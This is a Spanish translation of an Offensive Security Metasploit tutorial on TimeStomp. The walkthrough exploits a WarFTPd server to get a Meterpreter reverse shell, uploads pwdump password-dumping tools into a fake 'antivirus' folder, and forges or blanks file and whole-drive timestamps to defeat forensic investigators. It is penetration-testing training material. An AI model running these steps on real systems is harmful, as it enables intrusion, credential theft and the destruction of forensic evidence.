TimeStomp
De www.metasploit-es.com.ar
TimeStomp
Interactuar con la mayoría de los archivo del sistemas es como caminar en la nieve... dejaras huellas, muchas huellas. Edemas el grado de detalle de estas huellas son muy altas, aunque también se puede aprender mucho con ellas, y cuánto tiempo esta dura depende de diversas circunstancias. El arte de analizar estos artefactos se llama “Digital Forensics”, mas utilizado por la policia que nadie. Por diversas razones, al realizar una penetración de buena magnitud, puede que quiera hacer que sea difícil para un analista forense determinar las acciones que has tomado.
La mejor y mas fiable manera de evitar la detección de una investigación forense es simple: !No toque el sistema de ficheros! Una de las cosas bellas que tiene Meterpreter, que se carga en la memoria sin escribir nada en el disco, en gran medida minimizando los artefactos que se suele dejar en un sistema. Sin embargo, en muchos casos puede que tengas que interactuar con archivos del sistema de alguna manera. En estos casos timestomp puede sernos de gran utilidad.
Veamos en un archivo cualquiera en el sistema, cuantas , cuando y como de veces a sido este (Modificado, accesado cambiado):
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt Created Date: 5/3/2009 2:30:08 AM Last Accessed: 5/3/2009 2:31:39 AM Last Modified: 5/3/2009 2:30:36 AM
Ahora vamos a empezar por la explotación del sistema en Meterpreter. Después de eso, vamos a cargar el módulo timestomp, y echar un vistazo rápido al archivo en cuestión.
msf exploit(warftpd_165_user) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Connecting to FTP server 172.16.104.145:21... [*] Connected to target FTP server. [*] Trying target Windows 2000 SP0-SP4 English... [*] Transmitting intermediate stager for over-sized stage...(191 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (75787 bytes)... [*] Upload completed. [*] meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1218) meterpreter > use priv Loading extension priv...success. meterpreter > timestomp -h Usage: timestomp file_path OPTIONS OPTIONS: -a Set the "last accessed" time of the file -b Set the MACE timestamps so that EnCase shows blanks -c Set the "creation" time of the file -e Set the "mft entry modified" time of the file -f Set the MACE of attributes equal to the supplied file -h Help banner -m Set the "last written" time of the file -r Set the MACE timestamps recursively on a directory -v Display the UTC MACE values of the file -z Set all four attributes (MACE) of the file meterpreter > pwd C:\Program Files\War-ftpd meterpreter > cd .. meterpreter > pwd C:Program Files meterpreter > cd .. meterpreter > cd Documents\ and\ Settings meterpreter > cd P0WN3D meterpreter > cd My\ Documents meterpreter > ls Listing: C:\Documents and Settings\P0WN3D\My Documents ====================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 .. 40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 My Pictures 100666/rw-rw-rw- 28 fil Wed Dec 31 19:00:00 -0500 1969 test.txt meterpreter > timestomp test.txt -v Modified : Sun May 03 04:30:36 -0400 2009 Accessed : Sun May 03 04:31:51 -0400 2009 Created : Sun May 03 04:30:08 -0400 2009 Entry Modified: Sun May 03 04:31:44 -0400 2009
Ahora, echemos un vistazo a fechas / data MAC solicitadas. Vemos que el archivo fue creado recientemente. Vamos a hacernos un poco el tonto y hacer como si esta fuera una herramienta Super-Secreta que tenemos que esconder (test.txt). Una manera de hacer esto podría ser transformando la fecha MAC para que coincida con la fecha MAC de otro archivo en el sistema. Podemos copiar los tiempos / fecha MAC de cmd.exe a test.txt para hacer la mezcla un poco mejor.
meterpreter > timestomp test.txt -f C:/WINNT/system32/cmd.exe [*] Setting MACE attributes on test.txt from C:\WINNT\system32\cmd.exe meterpreter > timestomp test.txt -v Modified : Tue Dec 07 08:00:00 -0500 1999 Accessed : Sun May 03 05:14:51 -0400 2009 Created : Tue Dec 07 08:00:00 -0500 1999 Entry Modified: Sun May 03 05:11:16 -0400 2009
Eso es! Ahora parece como si el archivo text.txt fue creado en diciembre de 1999. Veamos como se ve esto desde Windows.
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt Created Date: 12/7/1999 7:00:00 AM Last Accessed: 5/3/2009 3:11:16 AM Last Modified: 12/7/1999 7:00:00 AM
Exito! fíjate que hay algunas pequeñas diferencias entre los tiempos a través de Windows y MSF.
Esto se debe a la forma en que se muestran las zonas horarias. Windows muestra los tiempos en -0600, mientras que MSF muestra los tiempos de como -0500. Cuando se ajuste la diferencia horaria, podemos ver que coinciden. Observe también que el acto de comprobación de la información dentro de archivos de Windows ha alterado el tiempo del último acceso. Esto viene a demostrar lo frágiles que pueden llegar a ser las fechas MAC, así que debe tenerse cuando se interactúa con ellas
Vamos ahora a hacer un cambio un poco distinto. En cuando al ejemplo anterior, lo mejor que podemos esperar es que sea más difícil para un investigador determinar cuándo se realizaron los cambios realmente. En estas situaciones, timestomp tiene una gran opción (-b para el blanqueado), donde se reducen a cero los las fechas - tiempos MAC de un archivo. Echemos un vistazo.
meterpreter > timestomp test.txt -v Modified : Tue Dec 07 08:00:00 -0500 1999 Accessed : Sun May 03 05:16:20 -0400 2009 Created : Tue Dec 07 08:00:00 -0500 1999 Entry Modified: Sun May 03 05:11:16 -0400 2009 meterpreter > timestomp test.txt -b [*] Blanking file MACE attributes on test.txt meterpreter > timestomp test.txt -v [-] Error running command timestomp: Invalid MACE values /pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/priv/fs.rb:45:in `get_file_mace'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb:91:in `cmd_timestomp'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:63:in `parse'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:53:in `each_pair'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:53:in `parse'/pentest/exploits/framework3/lib/rex/post/meterpreter/packet_dispatcher.rb:78:in `each_with_index'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:44:in `each'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:44:in `each_with_index'/pentest/exploits/framework3/lib/rex/parser/arguments.rb:44:in `parse'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb:65:in `cmd_timestomp'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:94:in `run_command'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:60:in `interact'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:123:in `call'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:123:in `run'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:58:in `interact'/pentest/exploits/framework3/lib/msf/base/sessions/meterpreter.rb:181:in `_interact'/pentest/exploits/framework3/lib/rex/ui/interactive.rb:48:in `interact'/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/core.rb:997:in `cmd_sessions'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:143:in `cmd_exploit'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82
Este no es el típico mensaje de error que nos jode a todos :D, sino que para nosotros es muy buena señal. Después de la reducción a cero los tiempos MAC, timestomp no pudo analizar las entradas MAC correctamente. Esto es muy interesante, ya que en algunas herramientas forenses saldrán el mismo problema, y se bloqueará al toparse con entradas como ésta. Vamos a ver cómo se ve el archivo en Windows.
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt Created Date: 1/1/1601 Last Accessed: 5/3/2009 3:21:13 AM Last Modified: 1/1/1601
Muy interesante! Tenga en cuenta que los tiempos / fechas ya no se muestran, y los datos se establecen a enero de 1601. :D Justo cuando nascio el archiconocido astronomo Tycho Brahe..
Sugerencias: http://en.wikipedia.org/wiki/1601 # Nota
meterpreter > cd C:\\WINNT meterpreter > mkdir antivirus Creating directory: antivirus meterpreter > cd antivirus meterpreter > pwd C:\WINNT\antivirus meterpreter > upload /pentest/windows-binaries/passwd-attack/pwdump6 c:\\WINNT\\antivirus\\ [*] uploading : /pentest/windows-binaries/passwd-attack/pwdump6/PwDump.exe -> c:WINNTantivirusPwDump.exe [*] uploaded : /pentest/windows-binaries/passwd-attack/pwdump6/PwDump.exe -> c:WINNTantivirusPwDump.exe [*] uploading : /pentest/windows-binaries/passwd-attack/pwdump6/LsaExt.dll -> c:WINNTantivirusLsaExt.dll [*] uploaded : /pentest/windows-binaries/passwd-attack/pwdump6/LsaExt.dll -> c:WINNTantivirusLsaExt.dll [*] uploading : /pentest/windows-binaries/passwd-attack/pwdump6/pwservice.exe -> c:WINNTantiviruspwservice.exe [*] uploaded : /pentest/windows-binaries/passwd-attack/pwdump6/pwservice.exe -> c:WINNTantiviruspwservice.exe meterpreter > ls Listing: C:\WINNT\antivirus =========================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 .. 100666/rw-rw-rw- 61440 fil Wed Dec 31 19:00:00 -0500 1969 LsaExt.dll 100777/rwxrwxrwx 188416 fil Wed Dec 31 19:00:00 -0500 1969 PwDump.exe 100777/rwxrwxrwx 45056 fil Wed Dec 31 19:00:00 -0500 1969 pwservice.exe 100666/rw-rw-rw- 27 fil Wed Dec 31 19:00:00 -0500 1969 sample.txt meterpreter > cd ..
Vale... con nuestros archivos subidos, ahora vamos a ejecutar timestomp sobre los archivos para despistar a cualquier posible investigador.
meterpreter > timestomp antiviruspwdump.exe -v Modified : Sun May 03 05:35:56 -0400 2009 Accessed : Sun May 03 05:35:56 -0400 2009 Created : Sun May 03 05:35:56 -0400 2009 Entry Modified: Sun May 03 05:35:56 -0400 2009 meterpreter > timestomp antivirusLsaExt.dll -v Modified : Sun May 03 05:35:56 -0400 2009 Accessed : Sun May 03 05:35:56 -0400 2009 Created : Sun May 03 05:35:56 -0400 2009 Entry Modified: Sun May 03 05:35:56 -0400 2009 meterpreter > timestomp antivirus -r [*] Blanking directory MACE attributes on antivirus meterpreter > ls [-] Error running command ls: bignum too big to convert into `long'However, there is something to consider in this case. We have hidden when an action occurred, yet it will still be very obvious to an investigator where activity was happening. /pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in `at'/pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in `mtime'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:237:in `cmd_ls'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:230:in `each'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:230:in `cmd_ls'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/pentest/exploits/framework3/lib/rex/post/meterpreter
Como puede verse, meterpreter ya no puede obtener un listado del directorios apropiado.
Sin embargo, hay algo a considerarse en este caso. Hemos escondido bien el cuando una acción se produjo, pero, todavía estará muy claro para un investigador la actividad que ha sucedido. ソQué haríamos si quisiésemos ocultar, tanto como cuando fue subido una caja de herramientas como donde fue subido?
La forma más fácil de abordar esta cuestión es poner a cero los tiempos de la unidad completa. Esto hará que el trabajo del investigador sea muy, muy difícil, ya que el típico análisis de línea de tiempo no será posible. Veamos, primero vamos a mirar a nuestro directorio WINNTsystem32.
Ok, todo parece normal, para nosotros, claro. Ahora, le vamos a agitar un poco el sistema de ficheros hasta quedar este muy mal!
meterpreter > pwd C:WINNTantivirus meterpreter > cd ../.. meterpreter > pwd C: meterpreter > ls Listing: C:\ ============ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100777/rwxrwxrwx 0 fil Wed Dec 31 19:00:00 -0500 1969 AUTOEXEC.BAT 100666/rw-rw-rw- 0 fil Wed Dec 31 19:00:00 -0500 1969 CONFIG.SYS 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 Documents and Settings 100444/r--r--r-- 0 fil Wed Dec 31 19:00:00 -0500 1969 IO.SYS 100444/r--r--r-- 0 fil Wed Dec 31 19:00:00 -0500 1969 MSDOS.SYS 100555/r-xr-xr-x 34468 fil Wed Dec 31 19:00:00 -0500 1969 NTDETECT.COM 40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 Program Files 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 RECYCLER 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 System Volume Information 40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 WINNT 100555/r-xr-xr-x 148992 fil Wed Dec 31 19:00:00 -0500 1969 arcldr.exe 100555/r-xr-xr-x 162816 fil Wed Dec 31 19:00:00 -0500 1969 arcsetup.exe 100666/rw-rw-rw- 192 fil Wed Dec 31 19:00:00 -0500 1969 boot.ini 100444/r--r--r-- 214416 fil Wed Dec 31 19:00:00 -0500 1969 ntldr 100666/rw-rw-rw- 402653184 fil Wed Dec 31 19:00:00 -0500 1969 pagefile.sys meterpreter > timestomp C:\ -r [*] Blanking directory MACE attributes on C:\ meterpreter > ls [-] Error running command ls: bignum too big to convert into `long' /pentest/exploits/framework3/lib/rex/post/file_stat.rb:66:in `at'/pentest/exploits/framework3/lib/rex /post/file_stat.rb:66:in `mtime'/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb:237:in /lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82
Asi, Luego que.. ¿Windows no lo ve?
Increíble. Windows no tiene idea de lo que está pasando (vamos que ni se empana), y muestra las fechas locas por todos los lados.
Aunque; no te emociones ni confíes mucho. Porqué al realizar esta acción dejas en evidencia que algo raro ha ocurrido en el sistema. Además, existen muchas fuentes distintas con información sobre tiempos en un sistema Windows. Si un investigador forense, se encontró con un sistema que ha sido modificado de esta manera, correrá hacia estas fuentes de información alternativas. Sin embargo, el costo de la realización de la investigación acaba de incrementarse considerablemente.
© Offensive Security 2009
Original by www.offensive-security.com Traslated by FreeInfo
